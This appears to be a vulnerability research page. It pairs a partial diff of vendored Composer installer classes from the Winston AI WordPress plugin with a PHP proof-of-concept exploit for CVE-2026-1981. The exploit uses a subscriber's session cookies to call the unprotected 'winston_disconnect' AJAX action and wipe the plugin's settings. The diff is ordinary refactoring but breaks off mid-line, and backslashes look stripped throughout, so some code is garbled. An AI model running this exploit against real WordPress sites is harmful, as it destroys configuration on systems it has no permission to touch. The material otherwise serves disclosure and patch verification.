         if ($vars['type'] === 'asgard-module') {
             return $this->inflectPluginVars($vars);
@@ -29,18 +30,26 @@
         return $vars;
     }

-    protected function inflectPluginVars($vars)
+    /**
+     * @param array<string, string> $vars
+     * @return array<string, string>
+     */
+    protected function inflectPluginVars(array $vars): array
     {
-        $vars['name'] = preg_replace('/-module$/', '', $vars['name']);
+        $vars['name'] = $this->pregReplace('/-module$/', '', $vars['name']);
         $vars['name'] = str_replace(array('-', '_'), ' ', $vars['name']);
         $vars['name'] = str_replace(' ', '', ucwords($vars['name']));

         return $vars;
     }

-    protected function inflectThemeVars($vars)
+    /**
+     * @param array<string, string> $vars
+     * @return array<string, string>
+     */
+    protected function inflectThemeVars(array $vars): array
     {
-        $vars['name'] = preg_replace('/-theme$/', '', $vars['name']);
+        $vars['name'] = $this->pregReplace('/-theme$/', '', $vars['name']);
         $vars['name'] = str_replace(array('-', '_'), ' ', $vars['name']);
         $vars['name'] = str_replace(' ', '', ucwords($vars['name']));

--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/AttogramInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/AttogramInstaller.php
@@ -1,8 +1,10 @@
 <?php
+
 namespace ComposerInstallers;

 class AttogramInstaller extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'module' => 'modules/{$name}/',
     );
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/BaseInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/BaseInstaller.php
@@ -1,4 +1,5 @@
 <?php
+
 namespace ComposerInstallers;

 use ComposerIOIOInterface;
@@ -7,19 +8,19 @@

 abstract class BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array();
+    /** @var Composer */
     protected $composer;
+    /** @var PackageInterface */
     protected $package;
+    /** @var IOInterface */
     protected $io;

     /**
      * Initializes base installer.
-     *
-     * @param PackageInterface $package
-     * @param Composer         $composer
-     * @param IOInterface      $io
      */
-    public function __construct(PackageInterface $package = null, Composer $composer = null, IOInterface $io = null)
+    public function __construct(PackageInterface $package, Composer $composer, IOInterface $io)
     {
         $this->composer = $composer;
         $this->package = $package;
@@ -28,12 +29,8 @@

     /**
      * Return the install path based on package type.
-     *
-     * @param  PackageInterface $package
-     * @param  string           $frameworkType
-     * @return string
      */
-    public function getInstallPath(PackageInterface $package, $frameworkType = '')
+    public function getInstallPath(PackageInterface $package, string $frameworkType = ''): string
     {
         $type = $this->package->getType();

@@ -52,18 +49,16 @@
             $availableVars['name'] = $extra['installer-name'];
         }

-        if ($this->composer->getPackage()) {
-            $extra = $this->composer->getPackage()->getExtra();
-            if (!empty($extra['installer-paths'])) {
-                $customPath = $this->mapCustomInstallPaths($extra['installer-paths'], $prettyName, $type, $vendor);
-                if ($customPath !== false) {
-                    return $this->templatePath($customPath, $availableVars);
-                }
+        $extra = $this->composer->getPackage()->getExtra();
+        if (!empty($extra['installer-paths'])) {
+            $customPath = $this->mapCustomInstallPaths($extra['installer-paths'], $prettyName, $type, $vendor);
+            if ($customPath !== false) {
+                return $this->templatePath($customPath, $availableVars);
             }
         }

         $packageType = substr($type, strlen($frameworkType) + 1);
-        $locations = $this->getLocations();
+        $locations = $this->getLocations($frameworkType);
         if (!isset($locations[$packageType])) {
             throw new InvalidArgumentException(sprintf('Package type "%s" is not supported', $type));
         }
@@ -77,7 +72,7 @@
      * @param  array<string, string> $vars This will normally receive array{name: string, vendor: string, type: string}
      * @return array<string, string>
      */
-    public function inflectPackageVars($vars)
+    public function inflectPackageVars(array $vars): array
     {
         return $vars;
     }
@@ -87,7 +82,7 @@
      *
      * @return array<string, string> map of package types => install path
      */
-    public function getLocations()
+    public function getLocations(string $frameworkType)
     {
         return $this->locations;
     }
@@ -95,11 +90,9 @@
     /**
      * Replace vars in a path
      *
-     * @param  string                $path
      * @param  array<string, string> $vars
-     * @return string
      */
-    protected function templatePath($path, array $vars = array())
+    protected function templatePath(string $path, array $vars = array()): string
     {
         if (strpos($path, '{') !== false) {
             extract($vars);
@@ -117,13 +110,10 @@
     /**
      * Search through a passed paths array for a custom install path.
      *
-     * @param  array  $paths
-     * @param  string $name
-     * @param  string $type
-     * @param  string $vendor = NULL
+     * @param  array<string, string[]|string> $paths
      * @return string|false
      */
-    protected function mapCustomInstallPaths(array $paths, $name, $type, $vendor = NULL)
+    protected function mapCustomInstallPaths(array $paths, string $name, string $type, ?string $vendor = null)
     {
         foreach ($paths as $path => $names) {
             $names = (array) $names;
@@ -134,4 +124,14 @@

         return false;
     }
+
+    protected function pregReplace(string $pattern, string $replacement, string $subject): string
+    {
+        $result = preg_replace($pattern, $replacement, $subject);
+        if (null === $result) {
+            throw new RuntimeException('Failed to run preg_replace with '.$pattern.': '.preg_last_error());
+        }
+
+        return $result;
+    }
 }
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/BitrixInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/BitrixInstaller.php
@@ -9,9 +9,9 @@
  * - `bitrix-d7-module` — copy the module to directory `bitrix/modules/<vendor>.<name>`.
  * - `bitrix-d7-component` — copy the component to directory `bitrix/components/<vendor>/<name>`.
  * - `bitrix-d7-template` — copy the template to directory `bitrix/templates/<vendor>_<name>`.
- *
+ *
  * You can set custom path to directory with Bitrix kernel in `composer.json`:
- *
+ *
  * ```json
  * {
  *      "extra": {
@@ -25,6 +25,7 @@
  */
 class BitrixInstaller extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'module'    => '{$bitrix_dir}/modules/{$name}/',    // deprecated, remove on the major release (Backward compatibility will be broken)
         'component' => '{$bitrix_dir}/components/{$name}/', // deprecated, remove on the major release (Backward compatibility will be broken)
@@ -35,15 +36,13 @@
     );

     /**
-     * @var array Storage for informations about duplicates at all the time of installation packages.
+     * @var string[] Storage for informations about duplicates at all the time of installation packages.
      */
     private static $checkedDuplicates = array();

-    /**
-     * {@inheritdoc}
-     */
-    public function inflectPackageVars($vars)
+    public function inflectPackageVars(array $vars): array
     {
+        /** @phpstan-ignore-next-line */
         if ($this->composer->getPackage()) {
             $extra = $this->composer->getPackage()->getExtra();

@@ -62,7 +61,7 @@
     /**
      * {@inheritdoc}
      */
-    protected function templatePath($path, array $vars = array())
+    protected function templatePath(string $path, array $vars = array()): string
     {
         $templatePath = parent::templatePath($path, $vars);
         $this->checkDuplicates($templatePath, $vars);
@@ -73,10 +72,9 @@
     /**
      * Duplicates search packages.
      *
-     * @param string $path
-     * @param array $vars
+     * @param array<string, string> $vars
      */
-    protected function checkDuplicates($path, array $vars = array())
+    protected function checkDuplicates(string $path, array $vars = array()): void
     {
         $packageType = substr($vars['type'], strlen('bitrix') + 1);
         $localDir = explode('/', $vars['bitrix_dir']);
@@ -94,8 +92,7 @@
             return;
         }

-        if ($oldPath !== $path && file_exists($oldPath) && $this->io && $this->io->isInteractive()) {
-
+        if ($oldPath !== $path && file_exists($oldPath) && $this->io->isInteractive()) {
             $this->io->writeError('    <error>Duplication of packages:</error>');
             $this->io->writeError('    <info>Package ' . $oldPath . ' will be called instead package ' . $path . '</info>');

--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/BonefishInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/BonefishInstaller.php
@@ -1,8 +1,10 @@
 <?php
+
 namespace ComposerInstallers;

 class BonefishInstaller extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'package'    => 'Packages/{$vendor}/{$name}/'
     );
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/BotbleInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/BotbleInstaller.php
@@ -0,0 +1,12 @@
+<?php
+
+namespace ComposerInstallers;
+
+class BotbleInstaller extends BaseInstaller
+{
+    /** @var array<string, string> */
+    protected $locations = array(
+        'plugin'     => 'platform/plugins/{$name}/',
+        'theme'      => 'platform/themes/{$name}/',
+    );
+}
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/CakePHPInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/CakePHPInstaller.php
@@ -1,4 +1,5 @@
 <?php
+
 namespace ComposerInstallers;

 use ComposerDependencyResolverPool;
@@ -6,6 +7,7 @@

 class CakePHPInstaller extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'plugin' => 'Plugin/{$name}/',
     );
@@ -13,7 +15,7 @@
     /**
      * Format package name to CamelCase
      */
-    public function inflectPackageVars($vars)
+    public function inflectPackageVars(array $vars): array
     {
         if ($this->matchesCakeVersion('>=', '3.0.0')) {
             return $vars;
@@ -21,7 +23,7 @@

         $nameParts = explode('/', $vars['name']);
         foreach ($nameParts as &$value) {
-            $value = strtolower(preg_replace('/(?<=\w)([A-Z])/', '_\1', $value));
+            $value = strtolower($this->pregReplace('/(?<=\w)([A-Z])/', '_\1', $value));
             $value = str_replace(array('-', '_'), ' ', $value);
             $value = str_replace(' ', '', ucwords($value));
         }
@@ -33,7 +35,7 @@
     /**
      * Change the default plugin location when cakephp >= 3.0
      */
-    public function getLocations()
+    public function getLocations(string $frameworkType): array
     {
         if ($this->matchesCakeVersion('>=', '3.0.0')) {
             $this->locations['plugin'] =  $this->composer->getConfig()->get('vendor-dir') . '/{$vendor}/{$name}/';
@@ -44,19 +46,18 @@
     /**
      * Check if CakePHP version matches against a version
      *
-     * @param string $matcher
-     * @param string $version
-     * @return bool
-     * @phpstan-param Constraint::STR_OP_* $matcher
+     * @phpstan-param '='|'=='|'<'|'<='|'>'|'>='|'<>'|'!=' $matcher
      */
-    protected function matchesCakeVersion($matcher, $version)
+    protected function matchesCakeVersion(string $matcher, string $version): bool
     {
         $repositoryManager = $this->composer->getRepositoryManager();
-        if (! $repositoryManager) {
+        /** @phpstan-ignore-next-line */
+        if (!$repositoryManager) {
             return false;
         }

         $repos = $repositoryManager->getLocalRepository();
+        /** @phpstan-ignore-next-line */
         if (!$repos) {
             return false;
         }
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/ChefInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/ChefInstaller.php
@@ -1,11 +1,12 @@
 <?php
+
 namespace ComposerInstallers;

 class ChefInstaller extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'cookbook'  => 'Chef/{$vendor}/{$name}/',
         'role'      => 'Chef/roles/{$name}/',
     );
 }
-
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/CiviCrmInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/CiviCrmInstaller.php
@@ -1,8 +1,10 @@
 <?php
+
 namespace ComposerInstallers;

 class CiviCrmInstaller extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'ext'    => 'ext/{$name}/'
     );
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/ClanCatsFrameworkInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/ClanCatsFrameworkInstaller.php
@@ -1,10 +1,12 @@
 <?php
+
 namespace ComposerInstallers;

 class ClanCatsFrameworkInstaller extends BaseInstaller
 {
-	protected $locations = array(
-		'ship'      => 'CCF/orbit/{$name}/',
-		'theme'     => 'CCF/app/themes/{$name}/',
-	);
-}
 No newline at end of file
+    /** @var array<string, string> */
+    protected $locations = array(
+        'ship'      => 'CCF/orbit/{$name}/',
+        'theme'     => 'CCF/app/themes/{$name}/',
+    );
+}
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/CockpitInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/CockpitInstaller.php
@@ -1,8 +1,10 @@
 <?php
+
 namespace ComposerInstallers;

 class CockpitInstaller extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'module' => 'cockpit/modules/addons/{$name}/',
     );
@@ -11,10 +13,8 @@
      * Format module name.
      *
      * Strip `module-` prefix from package name.
-     *
-     * {@inheritDoc}
      */
-    public function inflectPackageVars($vars)
+    public function inflectPackageVars(array $vars): array
     {
         if ($vars['type'] == 'cockpit-module') {
             return $this->inflectModuleVars($vars);
@@ -23,9 +23,13 @@
         return $vars;
     }

-    public function inflectModuleVars($vars)
+    /**
+     * @param array<string, string> $vars
+     * @return array<string, string>
+     */
+    public function inflectModuleVars(array $vars): array
     {
-        $vars['name'] = ucfirst(preg_replace('/cockpit-/i', '', $vars['name']));
+        $vars['name'] = ucfirst($this->pregReplace('/cockpit-/i', '', $vars['name']));

         return $vars;
     }
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/CodeIgniterInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/CodeIgniterInstaller.php
@@ -1,8 +1,10 @@
 <?php
+
 namespace ComposerInstallers;

 class CodeIgniterInstaller extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'library'     => 'application/libraries/{$name}/',
         'third-party' => 'application/third_party/{$name}/',
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/Concrete5Installer.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/Concrete5Installer.php
@@ -1,8 +1,10 @@
 <?php
+
 namespace ComposerInstallers;

 class Concrete5Installer extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'core'       => 'concrete/',
         'block'      => 'application/blocks/{$name}/',
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/ConcreteCMSInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/ConcreteCMSInstaller.php
@@ -0,0 +1,15 @@
+<?php
+
+namespace ComposerInstallers;
+
+class ConcreteCMSInstaller extends BaseInstaller
+{
+    /** @var array<string, string> */
+    protected $locations = array(
+        'core'       => 'concrete/',
+        'block'      => 'application/blocks/{$name}/',
+        'package'    => 'packages/{$name}/',
+        'theme'      => 'application/themes/{$name}/',
+        'update'     => 'updates/{$name}/',
+    );
+}
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/CraftInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/CraftInstaller.php
@@ -1,35 +0,0 @@
-<?php
-namespace ComposerInstallers;
-
-/**
- * Installer for Craft Plugins
- */
-class CraftInstaller extends BaseInstaller
-{
-    const NAME_PREFIX = 'craft';
-    const NAME_SUFFIX = 'plugin';
-
-    protected $locations = array(
-        'plugin' => 'craft/plugins/{$name}/',
-    );
-
-    /**
-     * Strip `craft-` prefix and/or `-plugin` suffix from package names
-     *
-     * @param  array $vars
-     *
-     * @return array
-     */
-    final public function inflectPackageVars($vars)
-    {
-        return $this->inflectPluginVars($vars);
-    }
-
-    private function inflectPluginVars($vars)
-    {
-        $vars['name'] = preg_replace('/-' . self::NAME_SUFFIX . '$/i', '', $vars['name']);
-        $vars['name'] = preg_replace('/^' . self::NAME_PREFIX . '-/i', '', $vars['name']);
-
-        return $vars;
-    }
-}
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/CroogoInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/CroogoInstaller.php
@@ -1,8 +1,10 @@
 <?php
+
 namespace ComposerInstallers;

 class CroogoInstaller extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'plugin' => 'Plugin/{$name}/',
         'theme' => 'View/Themed/{$name}/',
@@ -11,7 +13,7 @@
     /**
      * Format package name to CamelCase
      */
-    public function inflectPackageVars($vars)
+    public function inflectPackageVars(array $vars): array
     {
         $vars['name'] = strtolower(str_replace(array('-', '_'), ' ', $vars['name']));
         $vars['name'] = str_replace(' ', '', ucwords($vars['name']));
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/DecibelInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/DecibelInstaller.php
@@ -1,9 +1,11 @@
 <?php
+
 namespace ComposerInstallers;

 class DecibelInstaller extends BaseInstaller
 {
     /** @var array */
+    /** @var array<string, string> */
     protected $locations = array(
         'app'    => 'app/{$name}/',
     );
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/DframeInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/DframeInstaller.php
@@ -4,6 +4,7 @@

 class DframeInstaller extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'module'  => 'modules/{$vendor}/{$name}/',
     );
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/DokuWikiInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/DokuWikiInstaller.php
@@ -1,8 +1,10 @@
 <?php
+
 namespace ComposerInstallers;

 class DokuWikiInstaller extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'plugin' => 'lib/plugins/{$name}/',
         'template' => 'lib/tpl/{$name}/',
@@ -11,15 +13,13 @@
     /**
      * Format package name.
      *
-     * For package type dokuwiki-plugin, cut off a trailing '-plugin',
+     * For package type dokuwiki-plugin, cut off a trailing '-plugin',
      * or leading dokuwiki_ if present.
-     *
-     * For package type dokuwiki-template, cut off a trailing '-template' if present.
      *
+     * For package type dokuwiki-template, cut off a trailing '-template' if present.
      */
-    public function inflectPackageVars($vars)
+    public function inflectPackageVars(array $vars): array
     {
-
         if ($vars['type'] === 'dokuwiki-plugin') {
             return $this->inflectPluginVars($vars);
         }
@@ -31,20 +31,27 @@
         return $vars;
     }

-    protected function inflectPluginVars($vars)
+    /**
+     * @param array<string, string> $vars
+     * @return array<string, string>
+     */
+    protected function inflectPluginVars(array $vars): array
     {
-        $vars['name'] = preg_replace('/-plugin$/', '', $vars['name']);
-        $vars['name'] = preg_replace('/^dokuwiki_?-?/', '', $vars['name']);
+        $vars['name'] = $this->pregReplace('/-plugin$/', '', $vars['name']);
+        $vars['name'] = $this->pregReplace('/^dokuwiki_?-?/', '', $vars['name']);

         return $vars;
     }

-    protected function inflectTemplateVars($vars)
+    /**
+     * @param array<string, string> $vars
+     * @return array<string, string>
+     */
+    protected function inflectTemplateVars(array $vars): array
     {
-        $vars['name'] = preg_replace('/-template$/', '', $vars['name']);
-        $vars['name'] = preg_replace('/^dokuwiki_?-?/', '', $vars['name']);
+        $vars['name'] = $this->pregReplace('/-template$/', '', $vars['name']);
+        $vars['name'] = $this->pregReplace('/^dokuwiki_?-?/', '', $vars['name']);

         return $vars;
     }
-
 }
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/DolibarrInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/DolibarrInstaller.php
@@ -1,4 +1,5 @@
 <?php
+
 namespace ComposerInstallers;

 /**
@@ -10,6 +11,7 @@
 class DolibarrInstaller extends BaseInstaller
 {
     //TODO: Add support for scripts and themes
+    /** @var array<string, string> */
     protected $locations = array(
         'module' => 'htdocs/custom/{$name}/',
     );
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/DrupalInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/DrupalInstaller.php
@@ -1,8 +1,10 @@
 <?php
+
 namespace ComposerInstallers;

 class DrupalInstaller extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'core'             => 'core/',
         'module'           => 'modules/{$name}/',
@@ -18,5 +20,6 @@
         'console'          => 'console/{$name}/',
         'console-language' => 'console/language/{$name}/',
         'config'           => 'config/sync/',
+        'recipe'           => 'recipes/{$name}',
     );
 }
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/ElggInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/ElggInstaller.php
@@ -1,8 +1,10 @@
 <?php
+
 namespace ComposerInstallers;

 class ElggInstaller extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'plugin' => 'mod/{$name}/',
     );
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/EliasisInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/EliasisInstaller.php
@@ -1,8 +1,10 @@
 <?php
+
 namespace ComposerInstallers;

 class EliasisInstaller extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'component' => 'components/{$name}/',
         'module'    => 'modules/{$name}/',
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/ExpressionEngineInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/ExpressionEngineInstaller.php
@@ -1,29 +1,31 @@
 <?php
+
 namespace ComposerInstallers;

 use ComposerPackagePackageInterface;

 class ExpressionEngineInstaller extends BaseInstaller
 {
-
-    protected $locations = array();
-
+    /** @var array<string, string> */
     private $ee2Locations = array(
         'addon'   => 'system/expressionengine/third_party/{$name}/',
         'theme'   => 'themes/third_party/{$name}/',
     );

+    /** @var array<string, string> */
     private $ee3Locations = array(
         'addon'   => 'system/user/addons/{$name}/',
         'theme'   => 'themes/user/{$name}/',
     );

-    public function getInstallPath(PackageInterface $package, $frameworkType = '')
+    public function getLocations(string $frameworkType): array
     {
+        if ($frameworkType === 'ee2') {
+            $this->locations = $this->ee2Locations;
+        } else {
+            $this->locations = $this->ee3Locations;
+        }

-        $version = "{$frameworkType}Locations";
-        $this->locations = $this->$version;
-
-        return parent::getInstallPath($package, $frameworkType);
+        return $this->locations;
     }
 }
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/EzPlatformInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/EzPlatformInstaller.php
@@ -1,8 +1,10 @@
 <?php
+
 namespace ComposerInstallers;

 class EzPlatformInstaller extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'meta-assets' => 'web/assets/ezplatform/',
         'assets' => 'web/assets/ezplatform/{$name}/',
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/ForkCMSInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/ForkCMSInstaller.php
@@ -0,0 +1,58 @@
+<?php
+
+namespace ComposerInstallers;
+
+class ForkCMSInstaller extends BaseInstaller
+{
+    /** @var array<string, string> */
+    protected $locations = [
+        'module'    => 'src/Modules/{$name}/',
+        'theme'     => 'src/Themes/{$name}/'
+    ];
+
+    /**
+     * Format package name.
+     *
+     * For package type fork-cms-module, cut off a trailing '-plugin' if present.
+     *
+     * For package type fork-cms-theme, cut off a trailing '-theme' if present.
+     */
+    public function inflectPackageVars(array $vars): array
+    {
+        if ($v

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1981 - Winston AI <= 0.0.3 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Settings Deletion
<?php
/**
 * Proof of Concept for CVE-2026-1981
 * Requires valid WordPress subscriber (or higher) session cookies.
 */

$target_url = 'https://vulnerable-site.com'; // CHANGE THIS

// WordPress subscriber session cookies (must be obtained first via login)
$cookies = [
    'wordpress_logged_in_xxxx' => 'your_cookie_value_here', // REPLACE
    // Add other WordPress auth cookies as needed
];

// Build the AJAX endpoint
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// Prepare POST data for the vulnerable action
$post_data = [
    'action' => 'winston_disconnect'
    // No nonce or other parameters required in vulnerable versions
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // For testing only

// Set cookies
$cookie_string = '';
foreach ($cookies as $name => $value) {
    $cookie_string .= $name . '=' . $value . '; ';
}
curl_setopt($ch, CURLOPT_COOKIE, trim($cookie_string));

// Set headers to mimic legitimate AJAX request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'X-Requested-With: XMLHttpRequest',
    'Accept: application/json, text/javascript, */*; q=0.01',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8'
]);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check result
if ($response === false) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
    
    // Parse JSON response
    $json_response = json_decode($response, true);
    if (json_last_error() === JSON_ERROR_NONE) {
        if (isset($json_response['success']) && $json_response['success'] === true) {
            echo "[SUCCESS] Plugin settings have been reset.n";
        } else {
            echo "[FAILED] Attack may have been blocked or failed.n";
            if (isset($json_response['message'])) {
                echo "Message: " . $json_response['message'] . "n";
            }
        }
    } else {
        echo "[WARNING] Non-JSON response received.n";
    }
}

curl_close($ch);
?>